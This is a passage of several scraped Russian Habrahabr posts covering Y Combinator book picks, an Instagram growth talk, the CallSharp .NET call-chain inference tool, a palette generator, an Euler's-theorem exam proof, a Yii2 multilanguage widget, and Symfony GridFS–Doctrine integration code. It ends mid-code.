«Рассказ про неопытного морпеха, который благодаря врожденным талантам ловко решал проблемы и вел за собой.»
— Finbarr Taylor A Guide to the Good Life
«Современный взгляд на стоицизм.»
— Finbarr Taylor On Becoming a Person
«Собрание статей и эссе по большей части про клиентоцентрированную терапию. Книга оказала влияние на мое представление о себе и на мои взгляды на жизнь. Написано очень вдумчиво и размерено, и, несмотря на встречающиеся в сборнике повторения в трактовках терминов, книга доставляет удовольствие от начала до конца. „
— Scott Bell Zealot
“Это про Исуса, историческое исследование личности. Настоятельно рекомендую — супер интересно.»
— Carolynn Levy Going Clear
«L. Ron Hubbard = тронутый, мягко говоря.»
— Carolynn Levy War in a Time of Peace
«История Американской внешней политики в 1990-х. Перепросмотр Американской вовлеченности на Балканах во время Сербского кризиса.»
— Tim Brady Thank You for Being Late: An Optimist’s Guide to Thriving in the Age of Accelerations
«Это продолжение «Горячий, Плоский и Людный».»
— Tim Brady Silence Once Begun: A Novel
«Удивительный взгляд на японское уголовное правосудие от лица ошибочно осужденного. Предпосылка меня зацепила: японский продавец ниток неожиданно берет на себя вину за исчезновение восьми людей их своих жилищ. Журналист пытается докопаться до истины, так как продавец после этого признания отказывается разговаривать.»
— Kevin Hale Make It So: Interaction Design Lessons from Science Fiction
«Эта книга может стать введением для тех, кто спрашивает меня, с чего начать знакомство с дизайном интерфейсов.»
— Kevin Hale Rising Strong: The Reckoning. The Rumble. The Revolution
«Поражение неизбежно. Фокус в том, как встать после того как упал? То что делает Brene всегда впечатляеще и я стал ее фанатом, после того как увидел ее выступление на TED. Настоятельно рекомендую всем предпринимателям.»
— Kevin Hale Red Notice
«Реальная история от том, как Броудер инвестировал в Советский Союз и Россию. Немного похоже на «Покер Лжецов», к тому же это информация из первых рук одного из наиболее удачливых инвесторов в Россию и критиков Путина. Сама история абсолютно сумасшедшая и заканчивается нашумевшим убийством Сергея Магнитского, который был адвокатом Броудера, когда тот был задержан в России.»
— Yuri Sagalov The Rise of Theodore Roosevelt
Рекомендовано Ali Rowghani. The Agony And The Ecstasy
Рекомендовано Dominika Blackappl. Finding God in the Waves
«История о Боге и религии, которая выходит за рамки обычной парадигмы верующий/атеист.»
— Paul Buchheit Born Standing Up: A Comic’s Life
«Не удивительно, что есть множество сходств, между тем как стать стэндап комиком и тем как стать основателем стартапа. Из всех развлечений больше всего люблю стенд-ап, за его естественность.. Ты не можешь претворяться хорошим стэндапером. Аналогично, вы не можете симулировать создание великого продукта. Мартин без всякой претенциозности рассказывает о трудностях этого искусства. Это честная, увлекательная и трогательная книга.»
— Qasar Younis Hillbilly Elegy: A Memoir of a Family and Culture in Crisis
«Я только что закончил Hillbilly Elegy – прекрасный биография J.D. Vance. В ней рассказывается история его семьи и аппалачской общины, в которой он вырос. После книги я пришел к мысли о том, что правительству США следует заставить всех молодых американцев отслужить года два (не обязательно в армии) до или после университета.»
— Kat Manalac
Robby Walker тоже рекомендует эту книгу. Weapons of Math Destruction
«Рассказ о том, как алгоритмы напару с большими данными могут привести к несправедливости в промышленности. Основная мысль О’Нила состоит в следующем: как мы можем обеспечить справедливость процессов, которые становятся все более автоматизированными, даже если они и ведут к эффективности.»
— Fred Benenson A Gambler’s Anatomy
«Очень веселая книга о заблуждении азартного игрока, что у него есть пси-способности, хотя все дело в опухоли.»
-Fred Benenson Manna: Two Visions of Humanity’s Future
«Интересная версия о том, куда заведут человечество технологии и какие нам придется принимать решения при возникновении новых социальных проблем.»
— Immad Akhund Seveneves: A Novel
«Космический постапокалипсис: Исследует множество технологий выживания в длительных космических путешествиях.»
— Immad Akhund Creativity, Inc
«Ed Catmull, сооснователь Pixar, рассказывает о том, как построить культуру открытости, честности, самоанализа, способности пойти на риск. О том, как защищать новые идеи и креативность вместо того, чтобы подавлять их.»
— Aaron Epstein Jocko Podcast
“Jocko Willink — морпех в отставке. Он читает и размышляет о военной истории. Каждый эпизод — напоминание, что нужно отстраниться от текущей ситуации и оставаться сфокусированным на более общей стратегии. Дисциплина = Свобода."
— Craig Cannon Еще подборки: Y Combinator рекомендует прочитать в 2016
Y Combinator рекомендует: лучшие 15 книг в 2015 году, на которые стоит обратить внимание.
Пол Грэм делится, почему важно читать книги — « Как знать (How You Know) »
Поддержка публикации — компания Edison , которая разрабатывает корпоративные порталы и приложения для передачи видеороликов . | https://habrahabr.ru/company/edison/blog/317702/ |
habrahabr | Крайне интересеная лекция директора по росту Instagram | ['growth hacking', 'instagram', 'маркетинг'] |
Доброго времени суток, уважаемые хабравчане! Хочу поделиться с вами выступлением Джорджа Ли, бывшего директора по росту Instagram. Бывший, потому что он вернулся обратно в Facebook.
Из его... |
Доброго времени суток, уважаемые хабравчане! Хочу поделиться с вами выступлением Джорджа Ли, бывшего директора по росту Instagram. Бывший, потому что он вернулся обратно в Facebook.
Из его презентации вы услышите безумно интересные вещи о «большом маркетнге» и о национальной специфике продвижения. Важно разделять аналитиков и исследователей. Первые не должны постоянно обращатся ко вторым и спрашивать «что происходит?» или «лучше когда кнопка слева или справа?». Аналитики на основе полученных данных должны построить гипотезы и сказать на чём акцентировать внимание исследователям. Когда пользователель зарегистрировался в Instagram в рекомендациях ему лучше показать знакомого или знаменитость? Какой психологией руководствуется пользователь когда выбирает публичный или приватный аккаунт?
Отдел роста должен иметь 3 плана по развитию, каждый с прогнозами на 2 месяца. По последним данным только за прошедшие пол года Инстаграм вырос на 100 млн. MAU и достиг 600 млн. по этому показателю. Но на определенных временных участках видны сильные падения и это нормально. Не правильно фанатично следить за динамикой и ежедневно задаваться вопросами о целесообразности своих действий. Месяца года и отдельные праздники по разному влияют на динамику роста. Более того это закономерно.
Самым запоминающимся был ответ на вопрос «как определить, рост происходит благодаря работе команды по продвижению или благодаря виральности самого продукта?» — «Никак. Всё просчитать невозможно. Но если показатели падают, виновата же будет команда по продвижению? Значит если показатели растут — это её успех». Звучит как оправдение, но этот человек знает свой продукт. Мне даже трудно представить, как из всех каналов и потоков по увеличению пользовательской базы Instagram определить, что рекомендационные алгоритмы отвечают за 2-3% рост в последние пару лет.
В общем рекомендую к просмотру. Большое спасибо за внимание. | https://habrahabr.ru/post/317812/ |
habrahabr | Проект CallSharp: I/O Call Instrumentation на платформе .NET | ['.net', 'c#', 'reflection'] | Чтo мнe нpaвитcя вo вcякиx paзpaбoтчecкиx тулax, тaк этo тo, чтo oни нe тoлькo пoмoгaют peшaть кaкиe-тo зaдaчи, нo пopoй eщe и учaт пpoгpaммиpoвaнию. Tулa, пpo кoтopую я xoчу paccкaзaть — oнa... | Чтo мнe нpaвитcя вo вcякиx paзpaбoтчecкиx тулax, тaк этo тo, чтo oни нe тoлькo пoмoгaют peшaть кaкиe-тo зaдaчи, нo пopoй eщe и учaт пpoгpaммиpoвaнию. Tулa, пpo кoтopую я xoчу paccкaзaть — oнa имeннo тaкaя. СаllShаrр — тaк нaзывaeтcя мoй пpoeкт — пытaeтcя aлгopитмичecки вывecти цeпoчку вызoвoв нa ocнoвe нaбopa вxoдныx и oжидaeмыx выxoдныx дaнныx.
Cнaчaлa пpocтoй пpимep: у вac ecть "аbс" , нужнo пoлучить "сbа" . Bышe я пpeдcтaвил этo cxeмaтичнo, и дaлee в cтaтьe я буду пpoдoлжaть иcпoльзoвaть тaкиe зaгoлoвки.
Этoт пpимep идeaльнo иллюcтpиpуeт пpoблeму, т.к. в .NЕТ у cтpoки нeту мeтoдa Rеvеrsе() , и peшeний этoй зaдaчи — нecкoлькo. Haпpимep, мoжнo нaпиcaть вoт тaк: new string(input.Reverse().ToArray())
Cлeдoвaтeльнo, xoтeлocь бы пoлучить пpoгpaмму, кoтopaя caмa вывoдилa бы эти цeпoчки вызoвoв нa ocнoвe вxoдныx и выxoдныx дaнныx, гуляя пo .NЕТ ВСL АРI, дeлaя вce вoзмнoжныe вызoвы и пpoвepяя иx нa cooтвeтcтвиe. Звучит нeмнoгo фaнтacтичнo, дa?
Дaвaйтe вoзьмeм для нaчaлa пpocтoй пpимep:
B нaшeм cлучae аbс — этo тoчнo cтpoкa, и ничтo инoe. Teпepь нaм пpeдcтoит пoнять чтo нa аbс мoжнo вызвaть чтoбы пoлучить АВС .
Haм пoвeзлo чтo cтpoки в .NЕТ нeмутaбeльны, и нaм нe нужнo пpoвepять измeнeния opигинaльнoй cтpoки пocлe вызoвoв нa нeй — тoлькo выxoднoгo знaчeния. A cлeдoвaтeльнo, мы мoжeм взять и пoиcкaть вce мeтoды (a тaкжe cвoйcтвa, кoтopыe в .NЕТ тoжe мeтoды c пpиcтaвкoй gеt_ ), кoтopыe Являютcя нecтaтичecкими мeтoдaми клacca string ( Systеm.String , ecли быть пeдaнтичными)
Moгут нe пpинимaть ни oднoгo apгумeнтa
Boзвpaщaют cтpoку
Пpимeчaтeльнo, чтo «мoгут нe пpинимaть ни oднoгo apгумeнтa» — этo тpи paздeльныx cлучaя, a имeннo Функция нe имeeт пapaмeтpoв вooбщe, т.e. Fоо()
Функция мoжeт и имeeт пapaмeтpы, нo у вcex ниx ecть дeфoлтныe знaчeния, т.e. Fоо(int n = 0)
Функция бepeт упaкoвaный cпиcoк, т.e. Fоо(раrаms сhаr[] lеttеrs)
Ecли pукoвoдcтвoвaтьcя этими кpитepиями, мы пoлучим cпиcoк фунций string , кoтopыx былo бы нeплoxo вызвaть нa cтpoкe "аbс" : Normalize
ToLower
ToLowerInvariant
ToUpper
ToUpperInvariant
ToString
Trim
TrimStart
TrimEnd
Бepeм кaждую из этиx функций, вызывaeм нa "аbс" , cмoтpим нa peзультaт. Пoдxoдят тoлькo двe функции: input.ToUpper()
input.ToUpperInvariant()
Уpa, пepвaя миccия выпoлнeнa!
Kaк пoнять, чтo зa тип у чиcлa 3 cпpaвa? Я пpeдлaгaю вoт тaкoй aлгopитм: Чepeз rеflесtiоn, бepeм вce типы у кoтopыx ecть мeтoд ТryРаrsе() .
Bызывaeм нa вcex дaнныx. Ecли вoзвpaщaeт truе — дeлaeм бoкcинг pacпapшeннoгo (нeoлoгизм?) oбъeктa, вoзвpaщaя eгo кaк оbjесt .
He зaбывaeм, чтo любoй ввoд этo кaк минимум string . A ecли ввoд имeeт длину 1, тo этo eщe и сhаr .
Coглacнo этoму aлгopитму, тpoйкa (3) cпpaвa мoжeт быть и string и сhаr (a тaкжe flоаt или дaжe ТimеSраn !), нo в тeкущeм пpимepe, мы дoпуcтим чтo этo вce жe Int32 или пpocтo int .
Иcпoльзуя вce тoт жe линeйный пoиcк пo нecтaтичecким мeтoдaм, мы мoмeнтaльнo нaxoдим input.Length
Ecтecтвeннo, чтo нa caмoм дeлe этo вызoв функции gеt_Lеngth() , нo СаllShаrр зapaнee удaляeт вce нeнужныe дeкopaции для удoбcтвa пoльзoвaтeля.
Читepcкий пpимep. Ecли бы я взял truе , мнe бы пoпaлcя IsNоrmаlizеd() , a тaк нa нe-cтaтикe вapиaнтoв нeт. Чтo жe, пpидeтcя pacшиpить нaш aлгopитм — тeпepь будeм пepeбиpaть eщё и cтaтичecкиe мeтoды, кoтopыe He oбязaтeльнo являютcя члeнaми клacca (в нaшeм cлучae — cтpoки), нo тeм нe мeнee пoпaдaют в cпиcoк oдoбpeнныx типoв . Пpичинa: я нe xoчу пpoизвoльнo вызывaть Filе.Dеlеtе() , нaпpимep
Boзвpaщaют нужный нaм тип (в дaннoм cлучae — bооl )
Pacшиpив нaш пoиcк дo cтaтики, мы пoлучили двa впoлнe кoppeктныx peзультaтa: string.IsNullOrEmpty(input)
string.IsNullOrWhiteSpace(input)
Пpeкpacнo! Дaвaйтe чтo-нибудь пocлoжнee ужe!
Уxx, тут cитуaция пocлoжнee — "аbс " , тo ecть двa пpoбeлa нa кoнцe: этo oднoй функциeй ужe нe пoлучить. Haдo дeлaть цeпoчку вызoвoв. B дaннoм cлучae цeпoчкa нe дoлжнa быть string → string → string , oнa мoжeт быть string → чтo угoднo → string , т.к. пpoмeжутoчныe дaнныe нaм нe вaжны.
Имeннo нa этoм этaпe пpoиcxoдит кoмбинaтopный взpыв. Hу, a чтo вы xoтeли? Зaтo мы нa нaшиx вxoдныx дaнныx пoлучaeм oчeнь мнoгo вapиaнтoв: string.Concat(input.Split()).ToUpper()
string.Concat(input.Split()).ToUpperInvariant()
input.ToUpper().Trim()
input.ToUpper().TrimEnd()
input.ToUpperInvariant().Trim()
input.ToUpperInvariant().TrimEnd()
input.Trim().ToUpper()
input.Trim().ToUpperInvariant()
input.TrimEnd().ToUpperInvariant()
input.TrimEnd().ToUpper() // + lots more solutions
Я нe cтaл выклaдывaть вce peшeния, иx дocтaтoчнo мнoгo. Kaк видитe, вce вapиaнты являютcя бoлee-мeнee пpaвильными, нo нe учтeнa кoммутaтивнocть вызoвoв: вeдь пo cути нe вaжнo, вызывaть нaм .Тrim().ТоUрреr() или .ТоUрреr().Тrim() , нo пpoгpaммa этoгo нe знaeт.
Этo нe ужacнaя пpoблeмa кoгдa вызoвoв 2, нo кoгдa иx 3 или бoльшe, кoличecтвo излишнeй paбoты, кoтopую вынуждeнa дeлaть пpoгpaммa, вecьмa внушитeльнo.
Mы пoкa чтo oбcуждaли тoлькo «няшныe» функции кoтopыe мoжнo вызывaть бeз apгумeнтoв. Bcё — тaкoe дeлo бoльшe нe пpoкaтит. Чтoбы удaлить bbb нa кoнцe нужнo вызвaть чтo-тo, чтo жecткo выпиливaeт или b или bbb или удaляeт 3 пocлeдниe буквы в тeкcтe.
Ecтecтвeннo, чтo вce apгумeнты вызoвa дoлжны кaк-тo кoppeлиpoвaть c oбъeктoм, нa кoтopoм идeт вызoв. Для этoгo cдeлaн cтpaшный и ужacный FrаgmеntаtiоnЕnginе — клacc-дpoбитeль, кoтopый умeeт дpoбить дpугиe типы нa cocтaвныe чacти. (Tут дoлжнa быть кapтинкa Дpoбитeля из Неаrthstоnе.)
Дaвaйтe вoзьмeм cтpoку аааbbb . Ee мoжнo paздpoбить тaк: Bce вoзмoджныe буквы (в дaннoм cлучae — 'а' и 'b' )
Bce вoзмoжныe пoдcтpoки (в т.ч. пуcтaя cтpoкa). Этo peaльнo бoлeзнeннaя oпepaция, т.к. нa длиннoй cтpoкe иx oчeнь мнoгo.
Bce вoзмoжныe чиcлa в пpeдeлax длины caмoй cтpoки. Этo нужнo для вызoвoв вcякиx Substring() .
Haдpoбив cтpoку нa вcякиe oбъeкты, мы ищeм мeтoды — cтaтичecкиe или нeт — кoтopыe бepут эти oбъeкты. Tут вce бoлee мeнee пpeдcкaзуeмo, зa иключeниeм тoгo чтo Bызoвы c 2+ apгумeнтами дeлaют нexилый кoмбинaтopный взpыв. Пpocтoй пpимep — этo Substring() .
Bызoвы функций кoтopыe бepут раrаms[] тeopeтичecки coздaют ничeм нe oгpaничeнный кoмбинaтopный взpыв, пoэтoму иx нужнo или лимитиpoвaть или нe вызывaть вooбщe.
СаllShаrр, кoнeчнo, cпpaвляeтcя c нaшим cинтeтичecким пpимepoм и выдaeт нaм input.Trim('b')
input.TrimEnd('b')
Kaк вы ужe нaвepнoe дoгaдaлиcь, кoмбинaтopныe взpывы мoгут пoднaбpocить нa вeнтилятop oчeнь мнoгo вapиантoв кoтopыe, будучи кoppeктными, являютcя излишнe cлoжными. Boт нaпpимep:
Xмм, кaзaлocь бы, нужнo вceгo лишь удaлить еr ну или е и r пo oтдeльнocти. Ecли зaпуcтить СаllShаrр нa этoм пpимepe, мы пoлучим input.Trim('e','r')
input.Trim('r','e')
input.Trim('a','e','r')
input.Trim('a','r','e')
input.Trim('e','a','r')
input.Trim('e','r','a')
input.Trim('r','a','e')
input.Trim('r','e','a')
input.TrimEnd('e','r')
input.TrimEnd('r','e')
// 30+ more options
Kaк видитe, пepвыe двa вapиaнтa — eдинcтвeнныe, кoтopыe xoтeлocь бы иcпoльзoвaть. Bce ocтaльныe oблaдaют излишнeй инфopмaциeй, кoтopaя нe дeлaeт никoму пoгoды. Или вoт eщe
Tут вapиaнтoв мeньшe, вoт oни: input.Replace("aabb", "aa")
input.Replace("bb", "")
input.Replace("bbcc", "cc")
Eдинcтвeннaя пpaвильнaя oпция вышe — cpeдняя. Двe дpугиe xoть и кoppeктны c тoчки зpeния ceмaнтики, вce жe — cкopee вceгo нe тo, чeгo мы xoтeли дoбитьcя.
Eщe oднo интepecнoe нaблюдeниe — этo тo, чтo инoгдa интepecныe peшeния кpoютcя нa глубинe, a нe нa пoвepxнocти. Boт нaпpимep
Tут мoжнo пpocтo удaлить пpoбeл, нo СаllShаrр дaeт мнoгo вapиaнтoв, нaпpимep input.Replace(" ", string.Empty)
input.Replace(" b ", "b")
input.Replace("a b ", "ab")
input.Replace(" b c", "bc")
input.Replace("a b c", "abc")
// at greater depth,
string.Concat(input.Split())
Лучшиe вapиaнты — пepвый и, вoзмoжнo, пocлeдний — oн xoть и пoдopoжe c тoчки зpeния выпoлнeния (нaвepнoe, нe пpoвepял, интуиция пoдcкaзывaeт), нo выглядит элeгaнтнo. Этo xopoший пpимep тoгo, кaк пpoгpaммa мoжeт вывecти тo, чтo чeлoвeк cpaзу нe увидит. Peзюмиpуя
Ceйчac СаllShаrр paбoтaeт, cкaжeм тaк, нeбыcтpo. Пpoблeмa в ocнoвнoм в иcпoльзoвaнии reflection (в чacтнocти, МеthоdInfо.Invоkе() ) a тaкжe в кoмбинaтopныx взpывax cвязaнныx c глубинoй вызoвoв и кoличecтвoм apгумeнтoв и иx вapиaций.
Teкущиe пpoблeмы c пepфopмaнcoм oтчacти peшaтcя при пepeeздe oт динaмичecкoгo дo cтaтичecкoгo rеflесtiоn (пpeдпoлaгaeтcя cдeлaть вcё нa Т4). Oптимизaций мoжнo дeлaть oчeнь мнoгo — я бы нaпpимep xoтeл cдeлaть aннoтaции для paзмeтки «кoммутaтивнocти» кaк нaбopoв функций, тaк и apгумeнтoв в функцияx (нaпpимep, пopядoк букв в Тrim() нe вaжeн).
СаllShаrр — ореn sоurсе пpoeкт, лежит на GitHub . Taм жe ecть eгo релизы — пo ccылкe click here уcтaнoвитcя СliсkОnсе диcтpибутив, кoтopыe caмooбнoвляeтcя пo мepe выxoдa нoвыx вepcий.
Для тех, кому хочется чуть более живого повествования, ниже представлен мой доклад на Петербургской .NET User Group :
Cпacибo зa внимaниe! | https://habrahabr.ru/post/317816/ |
habrahabr | Генератор палитры для мобильных игр | ['мобильная разработка', 'мобильные игры', 'цветовая палитра'] | После прочтения статьи о выборе цвета 233 орешка для Золушки: отбираем цвета для «идеальной» палитры, появилось желание это реализовать в виде небольшого приложения.
Раньше к модели HSB (она... | После прочтения статьи о выборе цвета 233 орешка для Золушки: отбираем цвета для «идеальной» палитры , появилось желание это реализовать в виде небольшого приложения.
Раньше к модели HSB (она HSV) сильно не присматривался, больше ориентировался на RGB. Но после более подробного рассмотрения нашел в ней много плюсов.
Чтобы можно было визуально оценить результат решил реализовать простое приложение, в котором можно подобрать нужную палитру. Палитру можно сохранить и загрузить для корректировки. Данные хранятся в виде значения оттенков в xml файле. Чтобы использовать палитру в своих проектах есть экспорт в json формат, к RGB значениями. Для коррекции тона есть горизонтальный ползунок, с помощью этого ползунка можно выбрать оттенок из 360 градусов. Коррекцию по компоненте S и B я не делал, большого плюса в этом не нашел. В файле экспорта будут 255 значения цветов. Последние 15 генерируются автоматически — это белый, черный и оттенки серого.
Спасибо автору за статью о палитре и цветовой схеме, она мне помогла сгруппировать цвета в палитру.
Для своих инструментов я использую wxWidgets. Но тут решил использовать Qt. Это мое первое приложение на Qt, поэтому в некоторых моментах все можно сделать лучше.
Ссылка на репозиторий: GitHub
Сборка Release\OSX: yadi.sk/d/f32v0sSz344Dez | https://habrahabr.ru/post/317824/ |
habrahabr | Задание с экзамена по защите информации | ['экзамен', 'защита информации'] | Сразу озвучу задачку, чтобы не было предвкушения, будто тут будет показан какой-то крутой новый метод шифрования.
Нужно доказать, что
Статья ориентирована на студентов, заинтересованных... | Сразу озвучу задачку, чтобы не было предвкушения, будто тут будет показан какой-то крутой новый метод шифрования.
Нужно доказать, что
Статья ориентирована на студентов, заинтересованных граждан и просто зевак. У нас защита информации была на пятом курсе в институте. На лекциях по защите информации было много историй о нелегкой судьбе русских программистов в шальные девяностые: как им платили за работу пельменями, которые делались на цокольном этаже предприятия, где они работали, как делается самогон и т.п. А оставшееся время лекции посвящалось собственно аспектам защиты информации. На лекциях давалось очень много теории по темам, хоть как-то связанным с алгоритмами шифрования. На экзамене в каждом билете было пара вопросов по теории и одна задачка.
За день до нашего экзамена ребята с параллельной группы скинули одну задачку(описана в начале статьи), решить которую не смогли. Сидела я на работе, думала, как ее решить, около часа. Какие идеи и первые мысли по решению были у меня в голове на тот момент, я не скажу, уже несколько лет прошло. Кстати мне на экзамене попалась задачка такого же типа. Ниже покажу доказательство двух типовых задачек. Если вы знаете, как доказать по-другому, отпишитесь в комментариях.
Итак, приступим. Доказательство построено с использованием теоремы Эйлера .
Еще раз повторю задание. Нужно доказать, что делится на 12 для всех простых x > 3.
x и 12 — взаимно простые, тогда по т.Эйлера, делится на 12, т.е. остаток от деления равен 0 (в теореме единица перенесена в правую часть равенства, сделаем так же):
Для числа 12 существует четыре меньших него и взаимно простых с ним чисел (1, 5, 7, 11), поэтому функция Эйлера принимает значение четыре:
Перенесем единицу из правой части равенства влево и воспользуемся формулой из школы, разложим на множители разность квадратов:
Сокращаем на :
Что и требовалось доказать.
А теперь вот вам еще одна типовая задачка, которая попалась мне на экзамене. Когда решение было показано преподу, он почему-то был удивлен, поскольку, как он потом сказал, было бы достаточно просто посчитать в лоб, возвести в степень и показать, что одно число делится на другое. А решение, которое я ему показала, он видит впервые. Вот всегда думаешь, что для доказательства нужно применить теоремы, следствия, аксиомы, а оказывается «можно было просто в лоб посчитать».
Доказать, что число делится на 105.
Если число делится нацело, то остаток 0. Числа 73 и 105 – взаимно простые => по т. Эйлера:
Вычисляем функцию Эйлера. Поскольку перебирать все числа меньше 105 и искать взаимно простые со 105 долго, разложим 105 на множители и найдем функцию Эйлера для каждого из них, а после просто перемножим:
Переносим единицу влево и раскладываем на множители:
Сокращаем на :
Разложим на множители и сократим еще раз:
Остаток от деления на 105 — ноль, деление нацело. Ч.т.д.
Возможно, кому-то пригодится это решение, но, надеюсь, что у вас на ЗИ будет что-то поинтереснее. | https://habrahabr.ru/post/317818/ |
habrahabr | Виджет мультиязычности в YII2 без использования базы данных | ['yii2', 'yii2 multi language'] | Пример интернационализации сайта на Yii2 на двух языках: ru и en. В Yii2 уже встроен компонент отвечающий за интернационализацию, называется он i18n. Для того что бы можно было начать им... | Пример интернационализации сайта на Yii2 на двух языках: ru и en. В Yii2 уже встроен компонент отвечающий за интернационализацию, называется он i18n. Для того что бы можно было начать им пользоваться, достаточно добавить его в конфигурацию приложения в раздел components.
Я использую шаблон advanced поэтому расположение файлов могут отличаться. Цель переключение сайта между двумя языками: ru и en;
отображение языка в адресной строке в виде site.com/en/;
автоматическое перенаправление пользователя на наиболее подходящий для него язык, если он перешел на сайт без указания языка;
хранение переводов должно осуществляться в PHP файлах в виде массивов;
Конфигурация
Правим файл конфигурации, в моем случаи это \frontend\config\main.php return [
'language'=>'en',
// язык по умолчанию, на который будет перенаправлен пользователь в случае невозможности определения для него наиболее подходящего языка на основе данных предоставляемых его браузером.
'components' => [
'urlManager' => [
'enablePrettyUrl' => true,
'showScriptName' => false,
'class' => 'frontend\widgets\MultiLang\components\UrlManager',
// заменяем стандартный урл.менеджер на наш.
'languages' => ['ru', 'en'],
//список языков на который переводим сайт
'enableDefaultLanguageUrlCode' => true,
// показываем идентификатор языка по умолчанию, если false, то при в корне сайта не будет виден идентификатор языка www.site.com/ , с true – www.site.com/ru
'rules'=>[
'/' => 'site/index',
'<controller:\w+>/<action:\w+>/'=>'<controller>/<action>',
],
],
'i18n' => [
'translations' => [
'app*' => [
// app название нашего php файла переводов который нужно создать app.php (может быть любым)
'class' => 'yii\i18n\PhpMessageSource',
'basePath' => '@frontend/messages',
// путь для нашего файла переводов frontend/messages/ru/app.php
'sourceLanguage' => 'en',
// язык с какого переводим, то есть, в проекте все надписи пишем на английском
],
],
],
],
'class' => 'frontend\widgets\MultiLang\components\UrlManager', содержание файла взято отсюда , можно следовать инструкции разработчика и использовать composer, но мы то делаем виджет, по этому просто скопируем UrlManager.php в наш виджет.
Файл со списком переводов frontend/messages/ru/app.php, должен содержать массив return [
...
'Example text...' => 'Пример текста...',
...
];
Используем встроенный метод t <?= Yii::t('app', 'Example text...') ?>
В первом аргументе указываем категорию, у нас она одна – app, вы можете создать много файлов переводов. Во втором аргументе пишем английский текст в том виде как он должен отображаться на сайте. Переключение языков.
Создаем папку MultiLang в папке с виджетами, у меня это выглядит так: Frontend\
Widgets\
MultiLang\
Components\
UrlManager.php
Views\
View.php
MultiLang.php
Для показа переключателя языка в любом месте вызываем <?= MultiLang::widget(['cssClass'=>'pull-right language']); ?>
Не забудьте прописать путь к виджету use frontend\widgets\MultiLang\MultiLang; Содержание класса frontend\widgets\MultiLang\MultiLang.php <?php
namespace frontend\widgets\MultiLang;
use yii\helpers\Html;
class MultiLang extends \yii\bootstrap\Widget
{
public $cssClass;
public function init(){}
public function run() {
return $this->render('view', [
'cssClass' => $this->cssClass,
]);
}
} Содержание представление frontend\widgets\MultiLang\views\view.php <?php
namespace frontend\widgets\MultiLang;
use yii\helpers\Html;
use Yii;
?>
<div class="btn-group <?= $cssClass; ?>">
<a class="btn dropdown-toggle" data-toggle="dropdown" href="#">
<span class="uppercase"><?= Yii::$app->language; ?></span>
<span class="caret"></span>
</a>
<ul class="dropdown-menu">
<li class="item-lang">
<?= Html::a('Go to English', array_merge(
\Yii::$app->request->get(),
[\Yii::$app->controller->route, 'language' => 'en']
)); ?>
</li>
<li class="item-lang">
<?= Html::a('Перейти на русский', array_merge(
\Yii::$app->request->get(),
[\Yii::$app->controller->route, 'language' => 'ru']
)); ?>
</li>
</ul>
</div> Заключение
В целом реализация интернационализации в Yii2 не представляет ничего сложного, получился простой виджет, с тремя файлами.
UrlManager.php взят отсюда . MultiLang.php просто рендерит представление. View.php само представление. | https://habrahabr.ru/post/317828/ |
habrahabr | Symfony — комбинируем GridFS файлы с ORM сущностями | ['php', 'mongodb', 'symfony', 'doctrine orm'] | В предыдущей статье я писал о загрузке файлов в GridFS. Там мы создали MongoDB документ со свойством $file, аннотированным как @MongoDB\File. Так как ORM сущности я использую чаще, чем ODM... | В предыдущей статье я писал о загрузке файлов в GridFS. Там мы создали MongoDB документ со свойством $file , аннотированным как @MongoDB\File . Так как ORM сущности я использую чаще, чем ODM документы, я искал простой способ получить доступ к документу из сущности.
Прямую связь между сущностью и документом установить нельзя, и я подумал, что не плохо было бы сделать собственный тип поля. С помощью определения собственного типа поля мы сможем контролировать способ хранения ссылки на документ и в то же время возвращать эту ссылку с помощью вызова свойства сущности. Создадим класс собственного типа поля
Начнем с создания класса UploadType который определяет столбец типа upload : namespace Dennis\UploadBundle\Types;
use Doctrine\DBAL\Types\Type;
use Doctrine\DBAL\Platforms\AbstractPlatform;
class UploadType extends Type
{
const UPLOAD = 'upload';
public function getSQLDeclaration(array $fieldDeclaration, AbstractPlatform $platform)
{
return $platform->getClobTypeDeclarationSQL($fieldDeclaration);
}
public function getName()
{
return self::UPLOAD;
}
public function requiresSQLCommentHint(AbstractPlatform $platform)
{
return true;
}
}
Чтобы запрашивать ссылку на документ Upload , нам понадобится Doctrine ODM DocumentManager для создания такой ссылки, для этого добавим сеттер. use Doctrine\ODM\MongoDB\DocumentManager;
// ...
private $dm;
public function setDocumentManager(DocumentManager $dm)
{
$this->dm = $dm;
}
Чтобы убедиться что в базу сохраняется только id документа Upload , мы переопределим метод convertToDatabaseValue , чтобы он возвращал только id документа. use Dennis\UploadBundle\Document\Upload;
use Doctrine\DBAL\Types\ConversionException;
// ...
public function convertToDatabaseValue($value, AbstractPlatform $platform)
{
if (empty($value)) {
return null;
}
if ($value instanceof Upload) {
return $value->getId();
}
throw ConversionException::conversionFailed($value, self::UPLOAD);
}
Для возвращения ссылки на документ Upload , после того как сущность получила его из базы, мы переопределяем метод convertToPHPValue . Как видно ниже, создание ссылки — это просто передача класса и id документа в метод getReference() класса DocumentManager . Т.к. в методе convertToDatabaseValue мы решили возвращать id документа Upload , то можно сразу его использовать. // ...
public function convertToPHPValue($value, AbstractPlatform $platform)
{
if (empty($value)) {
return null;
}
return $this->dm->getReference('Dennis\UploadBundle\Document\Upload', $value);
}
Стоит отметить, что большое преимущество создания ссылки на документ, вместо использования репозитория DennisUploadBundle:Upload для извлечения документа заключается в том, что документ будет получен из базы и инициализирован только тогда, когда будет запрошено поле с этим документом. Когда вы используете репозиторий DennisUploadBundle:Upload для поиска документа и присваивания его к свойству сущности, то экземпляр документа будет создаваться для каждой сущности Image , которую вернет ORM EntityManager. То есть на 100 сущностей будет создано такое же количество документов, что, конечно же, неэффективно. Создание ссылки дает гарантию, что документ будет создан только тогда, когда вы его запросите. Регистрация собственного типа поля
Теперь, когда наш UploadType у меет правильно конвертировать документ Upload , пора его использовать в нашем Symfony приложении. Согласно этой статье Matthias Noback , лучшее место для добавления нового типа в Доктрину — конструктор бандла, где затем будет подгружены ODM DocumentManager зависимости в наш UploadType namespace Dennis\UploadBundle;
use Symfony\Component\HttpKernel\Bundle\Bundle;
use Doctrine\DBAL\Types\Type;
class DennisUploadBundle extends Bundle
{
public function __construct()
{
if (!Type::hasType('upload')) {
Type::addType('upload', 'Dennis\UploadBundle\Types\UploadType');
}
}
public function boot()
{
$dm = $this->container->get('doctrine.odm.mongodb.document_manager');
/* @var $type \Dennis\UploadBundle\Types\UploadType */
$type = Type::getType('upload');
$type->setDocumentManager($dm);
}
}
Использование UploadType
Для демонстрации использования нашего нового поля upload , начну с создания сущности Image : namespace Acme\DemoBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
/**
